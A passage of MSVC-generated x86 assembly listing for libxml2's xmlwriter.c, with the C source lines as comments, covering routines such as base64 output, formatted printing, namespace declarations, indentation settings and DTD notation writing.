ecx, eax mov BYTE PTR _ogroup$1[ebp+2], cl $LN11@xmlOutputB: ; 1585 : ogroup[2] = '='; ; 1586 : } ; 1587 : } ; 1588 : ; 1589 : if (linelen >= B64LINELEN) { cmp DWORD PTR _linelen$1$[ebp], 72 ; 00000048H jl SHORT $LN27@xmlOutputB ; 1590 : count = xmlOutputBufferWrite(out, 2, B64CRLF); push OFFSET ??_C@_02PCIJFNDE@?$AN?6@ push 2 push DWORD PTR _out$[ebp] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 1591 : if (count == -1) cmp eax, -1 je SHORT $LN8@xmlOutputB ; 1592 : return -1; ; 1593 : sum += count; mov esi, DWORD PTR _sum$1$[ebp] add esi, eax ; 1594 : linelen = 0; mov DWORD PTR _linelen$1$[ebp], 0 jmp SHORT $LN12@xmlOutputB $LN27@xmlOutputB: ; 1585 : ogroup[2] = '='; ; 1586 : } ; 1587 : } ; 1588 : ; 1589 : if (linelen >= B64LINELEN) { mov esi, DWORD PTR _sum$1$[ebp] $LN12@xmlOutputB: ; 1595 : } ; 1596 : count = xmlOutputBufferWrite(out, 4, (const char *) ogroup); lea eax, DWORD PTR _ogroup$1[ebp] push eax push 4 push DWORD PTR _out$[ebp] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 1597 : if (count == -1) cmp eax, -1 je SHORT $LN8@xmlOutputB ; 1598 : return -1; ; 1599 : sum += count; add esi, eax ; 1600 : ; 1601 : linelen += 4; add DWORD PTR _linelen$1$[ebp], 4 mov DWORD PTR _sum$1$[ebp], esi $LN9@xmlOutputB: ; 1602 : } ; 1603 : ; 1604 : if (i >= len) cmp edi, ebx jl $LL2@xmlOutputB ; 1605 : break; ; 1606 : } ; 1607 : ; 1608 : return sum; pop edi mov eax, esi ; 1609 : } pop esi pop ebx mov esp, ebp pop ebp ret 0 $LN8@xmlOutputB: pop edi pop esi or eax, -1 pop ebx mov esp, ebp pop ebp ret 0 _xmlOutputBufferWriteBase64 ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\stdio.h ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterVSprintf _TEXT SEGMENT _format$ = 8 ; size = 4 _argptr$ = 12 ; size = 4 _xmlTextWriterVSprintf PROC ; COMDAT ; 4469 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, 512 ; 00000200H push esi call DWORD PTR _xmlMalloc mov edi, eax add esp, 4 test edi, edi je SHORT $LN20@xmlTextWri mov ebx, DWORD PTR _argptr$[ebp] $LL2@xmlTextWri: ; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\stdio.h ; 1440 : int const _Result = __stdio_common_vsprintf( call ___local_stdio_printf_options push ebx push 0 push DWORD PTR _format$[ebp] mov ecx, DWORD PTR [eax] push esi push edi push DWORD PTR [eax+4] or ecx, 2 push ecx call DWORD PTR __imp____stdio_common_vsprintf add esp, 28 ; 0000001cH ; 1441 : _CRT_INTERNAL_LOCAL_PRINTF_OPTIONS | _CRT_INTERNAL_PRINTF_STANDARD_SNPRINTF_BEHAVIOR, ; 1442 : _Buffer, _BufferCount, _Format, NULL, _ArgList); ; 1443 : ; 1444 : return _Result < 0 ? -1 : _Result; mov ecx, -1 test eax, eax cmovs eax, ecx ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; 4485 : || (count == size - 1) || (count == size) || (count > size)) { test eax, eax js SHORT $LN5@xmlTextWri lea ecx, DWORD PTR [esi-1] cmp eax, ecx je SHORT $LN5@xmlTextWri cmp eax, esi je SHORT $LN5@xmlTextWri jle SHORT $LN3@xmlTextWri $LN5@xmlTextWri: ; 4486 : va_end(locarg); ; 4487 : xmlFree(buf); push edi call DWORD PTR _xmlFree ; 4488 : size += BUFSIZ; add esi, 512 ; 00000200H ; 4489 : buf = (xmlChar *) xmlMalloc(size); push esi call DWORD PTR _xmlMalloc mov edi, eax add esp, 8 ; 4490 : if (buf == NULL) { test edi, edi jne SHORT $LL2@xmlTextWri $LN20@xmlTextWri: ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0CI@EEFGHMNP@xmlTextWriterVSprintf?5?3?5out?5of?5@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 3 push 2 push 25 ; 00000019H push 0 push 0 push 0 push 0 push 0 call ___xmlRaiseError add esp, 68 ; 00000044H ; 4491 : xmlWriterErrMsg(NULL, XML_ERR_NO_MEMORY, ; 4492 : "xmlTextWriterVSprintf : out of memory!\n"); ; 4493 : return NULL; xor eax, eax pop edi ; 4500 : } pop esi pop ebx pop ebp ret 0 $LN3@xmlTextWri: ; 4494 : } ; 4495 : VA_COPY(locarg, argptr); ; 4496 : } ; 4497 : va_end(locarg); ; 4498 : ; 4499 : return buf; mov eax, edi pop edi ; 4500 : } pop esi pop ebx pop ebp ret 0 _xmlTextWriterVSprintf ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterCloseDocCallback _TEXT SEGMENT _context$ = 8 ; size = 4 _xmlTextWriterCloseDocCallback PROC ; COMDAT ; 4444 : { push ebp mov ebp, esp mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push 1 push 0 push 0 push DWORD PTR _context$[ebp] call _xmlParseChunk add esp, 16 ; 00000010H test eax, eax je SHORT $LN2@xmlTextWri ; 165 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push eax push OFFSET ??_C@_0DA@LOAGMMIC@xmlTextWriterCloseDocCallback?5?3@ push 0 push eax push 0 push 0 push 0 push 0 push 0 push 3 push 1 push 25 ; 00000019H push 0 push 0 push 0 push 0 push 0 call ___xmlRaiseError add esp, 68 ; 00000044H ; 4445 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) context; ; 4446 : int rc; ; 4447 : ; 4448 : if ((rc = xmlParseChunk(ctxt, NULL, 0, 1)) != 0) { ; 4449 : xmlWriterErrMsgInt(NULL, XML_ERR_INTERNAL_ERROR, ; 4450 : "xmlTextWriterCloseDocCallback : XML error %d !\n", ; 4451 : rc); ; 4452 : return -1; or eax, -1 ; 4456 : } pop ebp ret 0 $LN2@xmlTextWri: ; 4453 : } ; 4454 : ; 4455 : return 0; xor eax, eax ; 4456 : } pop ebp ret 0 _xmlTextWriterCloseDocCallback ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteDocCallback _TEXT SEGMENT _context$ = 8 ; size = 4 _str$ = 12 ; size = 4 _len$ = 16 ; size = 4 _xmlTextWriterWriteDocCallback PROC ; COMDAT ; 4420 : { push ebp mov ebp, esp mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push 0 push DWORD PTR _len$[ebp] push DWORD PTR _str$[ebp] push DWORD PTR _context$[ebp] call _xmlParseChunk add esp, 16 ; 00000010H test eax, eax je SHORT $LN2@xmlTextWri ; 165 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push eax push OFFSET ??_C@_0DA@HGAENLDC@xmlTextWriterWriteDocCallback?5?3@ push 0 push eax push 0 push 0 push 0 push 0 push 0 push 3 push 1 push 25 ; 00000019H push 0 push 0 push 0 push 0 push 0 call ___xmlRaiseError add esp, 68 ; 00000044H ; 4421 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) context; ; 4422 : int rc; ; 4423 : ; 4424 : if ((rc = xmlParseChunk(ctxt, str, len, 0)) != 0) { ; 4425 : xmlWriterErrMsgInt(NULL, XML_ERR_INTERNAL_ERROR, ; 4426 : "xmlTextWriterWriteDocCallback : XML error %d !\n", ; 4427 : rc); ; 4428 : return -1; or eax, -1 ; 4432 : } pop ebp ret 0 $LN2@xmlTextWri: ; 4429 : } ; 4430 : ; 4431 : return len; mov eax, DWORD PTR _len$[ebp] ; 4432 : } pop ebp ret 0 _xmlTextWriterWriteDocCallback ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlCmpTextWriterNsStackEntry _TEXT SEGMENT _data0$ = 8 ; size = 4 _data1$ = 12 ; size = 4 _xmlCmpTextWriterNsStackEntry PROC ; COMDAT ; 4383 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _data0$[ebp] mov edi, DWORD PTR _data1$[ebp] cmp esi, edi jne SHORT $LN2@xmlCmpText ; 4384 : xmlTextWriterNsStackEntry *p0; ; 4385 : xmlTextWriterNsStackEntry *p1; ; 4386 : int rc; ; 4387 : ; 4388 : if (data0 == data1) ; 4389 : return 0; pop edi xor eax, eax ; 4403 : rc = -1; ; 4404 : ; 4405 : return rc; ; 4406 : } pop esi pop ebp ret 0 $LN2@xmlCmpText: ; 4390 : ; 4391 : if (data0 == 0) test esi, esi je SHORT $LN6@xmlCmpText ; 4392 : return -1; ; 4393 : ; 4394 : if (data1 == 0) test edi, edi jne SHORT $LN4@xmlCmpText ; 4395 : return 1; lea eax, DWORD PTR [edi+1] pop edi ; 4403 : rc = -1; ; 4404 : ; 4405 : return rc; ; 4406 : } pop esi pop ebp ret 0 $LN4@xmlCmpText: ; 4396 : ; 4397 : p0 = (xmlTextWriterNsStackEntry *) data0; ; 4398 : p1 = (xmlTextWriterNsStackEntry *) data1; ; 4399 : ; 4400 : rc = xmlStrcmp(p0->prefix, p1->prefix); push DWORD PTR [edi] push DWORD PTR [esi] call _xmlStrcmp add esp, 8 ; 4401 : ; 4402 : if ((rc != 0) || (p0->elem != p1->elem)) test eax, eax jne SHORT $LN6@xmlCmpText mov ecx, DWORD PTR [esi+8] cmp ecx, DWORD PTR [edi+8] je SHORT $LN1@xmlCmpText $LN6@xmlCmpText: ; 4403 : rc = -1; ; 4404 : ; 4405 : return rc; ; 4406 : } or eax, -1 $LN1@xmlCmpText: pop edi pop esi pop ebp ret 0 _xmlCmpTextWriterNsStackEntry ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlFreeTextWriterNsStackEntry _TEXT SEGMENT _lk$ = 8 ; size = 4 _xmlFreeTextWriterNsStackEntry PROC ; COMDAT ; 4357 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push DWORD PTR _lk$[ebp] call _xmlLinkGetData mov esi, eax add esp, 4 test esi, esi je SHORT $LN1@xmlFreeTex ; 4358 : xmlTextWriterNsStackEntry *p; ; 4359 : ; 4360 : p = (xmlTextWriterNsStackEntry *) xmlLinkGetData(lk); ; 4361 : if (p == 0) ; 4362 : return; ; 4363 : ; 4364 : if (p->prefix != 0) mov eax, DWORD PTR [esi] test eax, eax je SHORT $LN3@xmlFreeTex ; 4365 : xmlFree(p->prefix); push eax call DWORD PTR _xmlFree add esp, 4 $LN3@xmlFreeTex: ; 4366 : if (p->uri != 0) mov eax, DWORD PTR [esi+4] test eax, eax je SHORT $LN4@xmlFreeTex ; 4367 : xmlFree(p->uri); push eax call DWORD PTR _xmlFree add esp, 4 $LN4@xmlFreeTex: ; 4368 : ; 4369 : xmlFree(p); push esi call DWORD PTR _xmlFree add esp, 4 $LN1@xmlFreeTex: pop esi ; 4370 : } pop ebp ret 0 _xmlFreeTextWriterNsStackEntry ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterOutputNSDecl _TEXT SEGMENT _sum$1$ = -4 ; size = 4 _namespaceURI$1$ = 8 ; size = 4 _writer$ = 8 ; size = 4 _xmlTextWriterOutputNSDecl PROC ; COMDAT ; 4312 : { push ebp mov ebp, esp push ecx push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _writer$[ebp] xor ebx, ebx mov DWORD PTR _sum$1$[ebp], ebx push DWORD PTR [edi+8] call _xmlListEmpty add esp, 4 test eax, eax jne $LN62@xmlTextWri npad 4 $LL2@xmlTextWri: ; 4320 : xmlChar *namespaceURI = NULL; ; 4321 : xmlChar *prefix = NULL; ; 4322 : ; 4323 : lk = xmlListFront(writer->nsstack); push DWORD PTR [edi+8] mov DWORD PTR _namespaceURI$1$[ebp], 0 xor ebx, ebx call _xmlListFront ; 4324 : np = (xmlTextWriterNsStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData mov esi, eax add esp, 8 ; 4325 : ; 4326 : if (np != 0) { test esi, esi je SHORT $LN4@xmlTextWri ; 4327 : namespaceURI = xmlStrdup(np->uri); push DWORD PTR [esi+4] call _xmlStrdup ; 4328 : prefix = xmlStrdup(np->prefix); push DWORD PTR [esi] mov DWORD PTR _namespaceURI$1$[ebp], eax call _xmlStrdup add esp, 8 mov ebx, eax $LN4@xmlTextWri: ; 4329 : } ; 4330 : ; 4331 : xmlListPopFront(writer->nsstack); push DWORD PTR [edi+8] call _xmlListPopFront add esp, 4 ; 4332 : ; 4333 : if (np != 0) { test esi, esi je $LN63@xmlTextWri ; 2032 : count = xmlTextWriterStartAttribute(writer, name); push ebx push edi call _xmlTextWriterStartAttribute mov esi, eax add esp, 8 ; 2033 : if (count < 0) test esi, esi js SHORT $LN61@xmlTextWri ; 2034 : return -1; ; 2035 : sum += count; ; 2036 : count = xmlTextWriterWriteString(writer, content); push DWORD PTR _namespaceURI$1$[ebp] push edi call _xmlTextWriterWriteString add esp, 8 ; 2037 : if (count < 0) test eax, eax js SHORT $LN61@xmlTextWri ; 1927 : lk = xmlListFront(writer->nodes); push DWORD PTR [edi+4] ; 2039 : sum += count; add esi, eax ; 1927 : lk = xmlListFront(writer->nodes); call _xmlListFront add esp, 4 ; 1928 : if (lk == 0) { test eax, eax je SHORT $LN61@xmlTextWri ; 1929 : return -1; ; 1930 : } ; 1931 : ; 1932 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData mov ecx, eax add esp, 4 ; 1933 : if (p == 0) { test ecx, ecx je SHORT $LN61@xmlTextWri ; 1934 : return -1; ; 1935 : } ; 1936 : ; 1937 : sum = 0; ; 1938 : switch (p->state) { mov eax, DWORD PTR [ecx+4] sub eax, 2 jne SHORT $LN61@xmlTextWri ; 1939 : case XML_TEXTWRITER_ATTRIBUTE: ; 1940 : p->state = XML_TEXTWRITER_NAME; ; 1941 : ; 1942 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); lea eax, DWORD PTR [edi+28] mov DWORD PTR [ecx+4], 1 push eax push 1 push DWORD PTR [edi] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 1943 : if (count < 0) { test eax, eax js SHORT $LN61@xmlTextWri ; 2045 : return sum; add esi, eax jmp SHORT $LN8@xmlTextWri $LN61@xmlTextWri: ; 4334 : count = xmlTextWriterWriteAttribute(writer, prefix, namespaceURI); ; 4335 : xmlFree(namespaceURI); or esi, -1 $LN8@xmlTextWri: push DWORD PTR _namespaceURI$1$[ebp] call DWORD PTR _xmlFree ; 4336 : xmlFree(prefix); push ebx call DWORD PTR _xmlFree add esp, 8 ; 4337 : ; 4338 : if (count < 0) { test esi, esi js SHORT $LN58@xmlTextWri ; 4342 : } ; 4343 : sum += count; mov ebx, DWORD PTR _sum$1$[ebp] add ebx, esi mov DWORD PTR _sum$1$[ebp], ebx jmp SHORT $LN5@xmlTextWri $LN63@xmlTextWri: ; 4332 : ; 4333 : if (np != 0) { mov ebx, DWORD PTR _sum$1$[ebp] $LN5@xmlTextWri: ; 4313 : xmlLinkPtr lk; ; 4314 : xmlTextWriterNsStackEntry *np; ; 4315 : int count; ; 4316 : int sum; ; 4317 : ; 4318 : sum = 0; ; 4319 : while (!xmlListEmpty(writer->nsstack)) { push DWORD PTR [edi+8] call _xmlListEmpty add esp, 4 test eax, eax je $LL2@xmlTextWri $LN62@xmlTextWri: pop edi ; 4344 : } ; 4345 : } ; 4346 : return sum; ; 4347 : } pop esi mov eax, ebx pop ebx mov esp, ebp pop ebp ret 0 $LN58@xmlTextWri: ; 4339 : xmlListDelete(writer->nsstack); push DWORD PTR [edi+8] call _xmlListDelete add esp, 4 ; 4340 : writer->nsstack = NULL; mov DWORD PTR [edi+8], 0 ; 4341 : return -1; or eax, -1 pop edi ; 4344 : } ; 4345 : } ; 4346 : return sum; ; 4347 : } pop esi pop ebx mov esp, ebp pop ebp ret 0 _xmlTextWriterOutputNSDecl ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlCmpTextWriterStackEntry _TEXT SEGMENT _data0$ = 8 ; size = 4 _data1$ = 12 ; size = 4 _xmlCmpTextWriterStackEntry PROC ; COMDAT ; 4281 : { push ebp mov ebp, esp mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _data0$[ebp] mov ecx, DWORD PTR _data1$[ebp] cmp eax, ecx jne SHORT $LN2@xmlCmpText ; 4282 : xmlTextWriterStackEntry *p0; ; 4283 : xmlTextWriterStackEntry *p1; ; 4284 : ; 4285 : if (data0 == data1) ; 4286 : return 0; xor eax, eax ; 4298 : } pop ebp ret 0 $LN2@xmlCmpText: ; 4287 : ; 4288 : if (data0 == 0) test eax, eax jne SHORT $LN3@xmlCmpText ; 4289 : return -1; or eax, -1 ; 4298 : } pop ebp ret 0 $LN3@xmlCmpText: ; 4290 : ; 4291 : if (data1 == 0) test ecx, ecx jne SHORT $LN4@xmlCmpText ; 4292 : return 1; mov eax, 1 ; 4298 : } pop ebp ret 0 $LN4@xmlCmpText: ; 4293 : ; 4294 : p0 = (xmlTextWriterStackEntry *) data0; ; 4295 : p1 = (xmlTextWriterStackEntry *) data1; ; 4296 : ; 4297 : return xmlStrcmp(p0->name, p1->name); push DWORD PTR [ecx] push DWORD PTR [eax] call _xmlStrcmp add esp, 8 ; 4298 : } pop ebp ret 0 _xmlCmpTextWriterStackEntry ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlFreeTextWriterStackEntry _TEXT SEGMENT _lk$ = 8 ; size = 4 _xmlFreeTextWriterStackEntry PROC ; COMDAT ; 4258 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push DWORD PTR _lk$[ebp] call _xmlLinkGetData mov esi, eax add esp, 4 test esi, esi je SHORT $LN1@xmlFreeTex ; 4259 : xmlTextWriterStackEntry *p; ; 4260 : ; 4261 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); ; 4262 : if (p == 0) ; 4263 : return; ; 4264 : ; 4265 : if (p->name != 0) mov eax, DWORD PTR [esi] test eax, eax je SHORT $LN3@xmlFreeTex ; 4266 : xmlFree(p->name); push eax call DWORD PTR _xmlFree add esp, 4 $LN3@xmlFreeTex: ; 4267 : xmlFree(p); push esi call DWORD PTR _xmlFree add esp, 4 $LN1@xmlFreeTex: pop esi ; 4268 : } pop ebp ret 0 _xmlFreeTextWriterStackEntry ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterFlush _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterFlush PROC ; COMDAT ; 4232 : { push ebp mov ebp, esp mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _writer$[ebp] test eax, eax jne SHORT $LN2@xmlTextWri ; 4233 : int count; ; 4234 : ; 4235 : if (writer == NULL) ; 4236 : return -1; or eax, -1 ; 4242 : ; 4243 : return count; ; 4244 : } pop ebp ret 0 $LN2@xmlTextWri: ; 4237 : ; 4238 : if (writer->out == NULL) mov eax, DWORD PTR [eax] test eax, eax jne SHORT $LN3@xmlTextWri ; 4242 : ; 4243 : return count; ; 4244 : } pop ebp ret 0 $LN3@xmlTextWri: ; 4239 : count = 0; ; 4240 : else ; 4241 : count = xmlOutputBufferFlush(writer->out); mov DWORD PTR _writer$[ebp], eax ; 4242 : ; 4243 : return count; ; 4244 : } pop ebp ; 4239 : count = 0; ; 4240 : else ; 4241 : count = xmlOutputBufferFlush(writer->out); jmp _xmlOutputBufferFlush _xmlTextWriterFlush ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterSetQuoteChar _TEXT SEGMENT _writer$ = 8 ; size = 4 _quotechar$ = 12 ; size = 1 _xmlTextWriterSetQuoteChar PROC ; COMDAT ; 4624 : { push ebp mov ebp, esp mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov ecx, DWORD PTR _writer$[ebp] test ecx, ecx je SHORT $LN3@xmlTextWri ; 4625 : if ((writer == NULL) || ((quotechar != '\'') && (quotechar != '"'))) mov al, BYTE PTR _quotechar$[ebp] cmp al, 39 ; 00000027H je SHORT $LN2@xmlTextWri cmp al, 34 ; 00000022H jne SHORT $LN3@xmlTextWri $LN2@xmlTextWri: ; 4627 : ; 4628 : writer->qchar = quotechar; mov BYTE PTR [ecx+28], al ; 4629 : ; 4630 : return 0; xor eax, eax ; 4631 : } pop ebp ret 0 $LN3@xmlTextWri: ; 4626 : return -1; or eax, -1 ; 4631 : } pop ebp ret 0 _xmlTextWriterSetQuoteChar ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterSetIndentString _TEXT SEGMENT _writer$ = 8 ; size = 4 _str$ = 12 ; size = 4 _xmlTextWriterSetIndentString PROC ; COMDAT ; 4599 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN3@xmlTextWri ; 4600 : if ((writer == NULL) || (!str)) cmp DWORD PTR _str$[ebp], 0 je SHORT $LN3@xmlTextWri ; 4602 : ; 4603 : if (writer->ichar != NULL) mov eax, DWORD PTR [esi+24] test eax, eax je SHORT $LN4@xmlTextWri ; 4604 : xmlFree(writer->ichar); push eax call DWORD PTR _xmlFree add esp, 4 $LN4@xmlTextWri: ; 4605 : writer->ichar = xmlStrdup(str); push DWORD PTR _str$[ebp] call _xmlStrdup add esp, 4 mov DWORD PTR [esi+24], eax ; 4606 : ; 4607 : if (!writer->ichar) test eax, eax je SHORT $LN3@xmlTextWri ; 4608 : return -1; ; 4609 : else ; 4610 : return 0; xor eax, eax pop esi ; 4611 : } pop ebp ret 0 $LN3@xmlTextWri: ; 4601 : return -1; or eax, -1 pop esi ; 4611 : } pop ebp ret 0 _xmlTextWriterSetIndentString ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterSetIndent _TEXT SEGMENT _writer$ = 8 ; size = 4 _indent$ = 12 ; size = 4 _xmlTextWriterSetIndent PROC ; COMDAT ; 4578 : { push ebp mov ebp, esp mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _writer$[ebp] test eax, eax je SHORT $LN3@xmlTextWri ; 4579 : if ((writer == NULL) || (indent < 0)) mov ecx, DWORD PTR _indent$[ebp] test ecx, ecx js SHORT $LN3@xmlTextWri ; 4581 : ; 4582 : writer->indent = indent; mov DWORD PTR [eax+16], ecx ; 4583 : writer->doindent = 1; mov DWORD PTR [eax+20], 1 ; 4584 : ; 4585 : return 0; xor eax, eax ; 4586 : } pop ebp ret 0 $LN3@xmlTextWri: ; 4580 : return -1; or eax, -1 ; 4586 : } pop ebp ret 0 _xmlTextWriterSetIndent ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteDTDNotation _TEXT SEGMENT _p$1$ = 8 ; size = 4 _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _pubid$ = 16 ; size = 4 _sysid$ = 20 ; size = 4 _xmlTextWriterWriteDTDNotation PROC ; COMDAT ; 4114 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _writer$[ebp] test edi, edi je SHORT $LN5@xmlTextWri ; 4115 : int count; ; 4116 : int sum; ; 4117 : xmlLinkPtr lk; ; 4118 : xmlTextWriterStackEntry *p; ; 4119 : ; 4120 : if (writer == NULL || name == NULL || *name == '\0') mov ebx, DWORD PTR _name$[ebp] test ebx, ebx je SHORT $LN5@xmlTextWri cmp BYTE PTR [ebx], 0 je SHORT $LN5@xmlTextWri ; 4121 : return -1; ; 4122 : ; 4123 : sum = 0; ; 4124 : lk = xmlListFront(writer->nodes); push DWORD PTR [edi+4] xor esi, esi call _xmlListFront add esp, 4 ; 4125 : if (lk == 0) { test eax, eax je SHORT $LN5@xmlTextWri ; 4126 : return -1; ; 4127 : } ; 4128 : ; 4129 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 mov DWORD PTR _p$1$[ebp], eax ; 4130 : if (p != 0) { test eax, eax je SHORT $LN12@xmlTextWri ; 4131 : switch (p->state) { mov eax, DWORD PTR [eax+4] sub eax, 7 je SHORT $LN8@xmlTextWri sub eax, 1 je SHORT $LN12@xmlTextWri $LN5@xmlTextWri: pop edi ; 4218 : ; 4219 : return sum; ; 4220 : } pop esi or eax, -1 pop ebx pop ebp ret 0 $LN8@xmlTextWri: ; 4132 : case XML_TEXTWRITER_DTD: ; 4133 : count = xmlOutputBufferWriteString(writer->out, " ["); push OFFSET ??_C@_02GBLMOEJC@?5?$FL@ push DWORD PTR [edi] call _xmlOutputBufferWriteString mov esi, eax add esp, 8 ; 4134 : if (count < 0) test esi, esi js SHORT $LN5@xmlTextWri ; 4135 : return -1; ; 4136 : sum += count; ; 4137 : if (writer->indent) { cmp DWORD PTR [edi+16], 0 je SHORT $LN10@xmlTextWri ; 4138 : count = xmlOutputBufferWriteString(writer->out, "\n"); push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [edi] call _xmlOutputBufferWriteString add esp, 8 ; 4139 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 4140 : return -1; ; 4141 : sum += count; add esi, eax $LN10@xmlTextWri: ; 4142 : } ; 4143 : p->state = XML_TEXTWRITER_DTD_TEXT; mov eax, DWORD PTR _p$1$[ebp] mov DWORD PTR [eax+4], 8 $LN12@xmlTextWri: ; 4144 : /* fallthrough */ ; 4145 : case XML_TEXTWRITER_DTD_TEXT: ; 4146 : break; ; 4147 : default: ; 4148 : return -1; ; 4149 : } ; 4150 : } ; 4151 : ; 4152 : if (writer->indent) { cmp DWORD PTR [edi+16], 0 je SHORT $LN14@xmlTextWri ; 4153 : count = xmlTextWriterWriteIndent(writer); push edi call _xmlTextWriterWriteIndent add esp, 4 ; 4154 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 4155 : return -1; ; 4156 : sum += count; add esi, eax $LN14@xmlTextWri: ; 4157 : } ; 4158 : ; 4159 : count = xmlOutputBufferWriteString(writer->out, "<!NOTATION "); push OFFSET ??_C@_0M@IOFINGOM@?$DM?$CBNOTATION?5@ push DWORD PTR [edi] call _xmlOutputBufferWriteString add esp, 8 ; 4160 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 4161 : return -1; ; 4162 : sum += count; ; 4163 : count = xmlOutputBufferWriteString(writer->out, (const char *) name); push ebx push DWORD PTR [edi] add esi, eax call _xmlOutputBufferWriteString add esp, 8 ; 4164 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 4165 : return -1; ; 4166 : sum += count; add esi, eax ; 4167 : ; 4168 : if (pubid != 0) { mov eax, DWORD PTR _pubid$[ebp] test eax, eax je SHORT $LN32@xmlTextWri ; 4169 : count = xmlOutputBufferWriteString(writer->out, " PUBLIC "); push OFFSET ??_C@_08GBBLECIH@?5PUBLIC?5@ push DWORD PTR [edi] call _xmlOutputBufferWriteString add esp, 8 ; 4170 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 4171 : return -1; ; 4172 : sum += count; ; 4173 : 